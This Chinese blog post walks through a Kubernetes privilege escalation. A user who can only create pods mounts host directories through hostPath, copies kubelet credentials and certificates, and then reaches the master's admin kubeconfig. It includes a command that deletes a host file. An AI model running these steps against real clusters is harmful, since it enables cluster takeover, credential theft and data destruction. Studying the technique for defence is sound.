# 加载卷戏法：从 Nobody 到 Terminator

假设有一个 kubeadm 创建的集群上有这样一个用户，它只有一点点权限：在 `default` 命名空间新建一个 Pod，它能掀起多大风浪呢？

## 创建这个用户

有个[创建用户的小脚本](https://gist.github.com/fleeto/1e37fbe572b2b77fbc7894ebcac14e8d)，我们可以创建一个小白用户：

```bash
$ ./add-k8s-user.sh nobody
Generating RSA private key, 4096 bit long modulus
....
Now you can try: kubectl get nodes --kubeconfig=kubeconfig-nobody
```

这个命令会新建一个用户，并生成对应的 kubeconfig 文件，使用这个配置文件执行各种命令，会发现因为 RBAC 的限制，什么都做不了：

```bash
$ KUBECONFIG=./kubeconfig-nobody kubectl get pods
Error from server (Forbidden): pods is forbidden: User "nobody" cannot list resource "pods" in API group "" in the namespace "default"
$ KUBECONFIG=./kubeconfig-nobody kubectl get nodes
Error from server (Forbidden): nodes is forbidden: User "nobody" cannot list resource "nodes" in API group "" at the cluster scope
...
```

为了完成基本的工作，我们通常会分配 Pod 的相关权限给这个用户：

```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: pod-owner
rules:
- apiGroups:
    - '*'
  resources:
  - pods
  - pods/*
  verbs: ["*"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: pod-owner
  namespace: default
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: pod-owner
subjects:
- kind: User
  name: nobody
```

## 第一个 Pod

我们创建一个 Pod，很老实，只有一个加载卷有点奇怪：

```yaml
apiVersion: v1
kind: Pod
metadata:
  labels:
    run: nobody
  name: nobody
spec:
  containers:
  - image: dustise/sleep
    name: sleep
    volumeMounts:
    - mountPath: "/host-etc"
      name: host-etc
  volumes:
  - name: host-etc
    hostPath:
      path: /etc
```

试试看这个用户：

```bash
$ export KUBECONFIG=kubeconfig-nobody
$ kubectl apply -f pod.yaml
pod/nobody created
$  kubectl get nodes,cm,svc,deploy
Error from server (Forbidden): nodes is forbidden: User "nobody" cannot list resource "nodes" in API group "" at the cluster scope
Error from server (Forbidden): configmaps is forbidden: User "nobody" cannot list resource "configmaps" in API group "" in the namespace "default"
Error from server (Forbidden): services is forbidden: User "nobody" cannot list resource "services" in API group "" in the namespace "default"
Error from server (Forbidden): deployments.apps is forbidden: User "nobody" cannot list resource "deployments" in API group "apps" in the namespace "default"
```

我们虽然成功创建了 Pod，其它什么都看不到，但是 etc 里面的东西可就多了，例如：

```bash
$ kubectl cp nobody:/host-etc/kubernetes/kubelet.conf kubelet.conf
tar: removing leading '/' from member names
```

Kubelet 的身份很明显是比 Nobody 好用的。

```bash
$ kubectl get nodes --kubeconfig=kubelet.conf
Error in configuration:
* unable to read client-cert /var/lib/kubelet/pki/kubelet-client-current.pem for default-auth due to open /var/lib/kubelet/pki/kubelet-client-current.pem: no such file or directory
```

缺文件不怕：

```bash
$ kubectl cp nobody:/var-lib/kubelet/pki/kubelet-client-current.pem .
warning: skipping symlink: "." -> "/var/lib/kubelet/pki/kubelet-client-2020-05-24-14-40-17.pem" (consider using "kubectl e
xec -n "" "nobody" -- tar cf - "/var-lib/kubelet/pki/kubelet-client-current.pem" | tar xf -")
tar: removing leading '/' from member names
$ kubectl cp nobody:/var-lib/kubelet/pki/kubelet-client-2020-05-24-14-40-17.pem ./kubelet-client
```

然后编辑 `kubelet.conf`，引用相关证书文件，就能得到更高权限了，用新的权限折腾一下 Node：

```yaml
$ kubectl get nodes --kubeconfig=kubelet.conf
NAME   STATUS   ROLES    AGE   VERSION
kub1   Ready    master   8d    v1.17.4
kub2   Ready    <none>   8d    v1.17.4

$ kubectl label nodes kub1 master=true  --kubeconfig=kubelet.conf
node/kub1 labeled
```

或者删除一下主机文件 `kubectl exec nobody -- rm /host-/etc/debian_version`

能看到以前看不到的 Service 对象：

```bash
$ kubectl get svc
Error from server (Forbidden): services is forbidden: User "nobody" cannot list resource "services" in API group "" in the namespace "default"
$ kubectl get svc --kubeconfig=kubelet.conf
NAME         TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE
kubernetes   ClusterIP   10.96.0.1    <none>        443/TCP   8d
$ kubectl get svc --kubeconfig=kubelet.conf -n kube-system
NAME       TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)                  AGE
kube-dns   ClusterIP   10.96.0.10   <none>        53/UDP,53/TCP,9153/TCP   8d
```

## 更近一步

Kubelet 证书还是没有权限搞定 RBAC 的：

```bash
$ kubectl get role --kubeconfig=kubelet.conf
Error from server (Forbidden): roles.rbac.authorization.k8s.io is forbidden: User "system:node:kub2" cannot list resource "roles" in API group "rbac.authorization.k8s.io" in the namespace "default"
```

但是我们都会记得，Kubeadm 安装后，Master 节点的 `/etc/kubernetes/admin.conf` 的功能，和上面一样，用 Pod 加载它：

```yaml
apiVersion: v1
kind: Pod
metadata:
  labels:
    run: nobody
  name: master
spec:
  containers:
  - image: dustise/sleep
    name: sleep
    volumeMounts:
    - mountPath: "/host-etc"
      name: host-etc
    - mountPath: "/var-lib"
      name: host-lib
  volumes:
  - name: host-etc
    hostPath:
      path: /etc
  - name: host-lib
    hostPath:
      path: /var/lib
  tolerations:
  - effect: NoSchedule
    operator: Exists
  - key: CriticalAddonsOnly
    operator: Exists
  - effect: NoExecute
    operator: Exists
  nodeSelector:
    master: "true"
```

这里我们使用前面的标签，把 Pod 调度到控制节点，如此一来，我们会在 `/etc/kubernetes` 下看到 Kubernetes 的 CA、运行配置，以及管理员的 kubeconfig 等，可以说是彻底拿到了该集群的控制权。

## 相关链接

* 创建用户的脚本：`https://gist.github.com/fleeto/1e37fbe572b2b77fbc7894ebcac14e8d`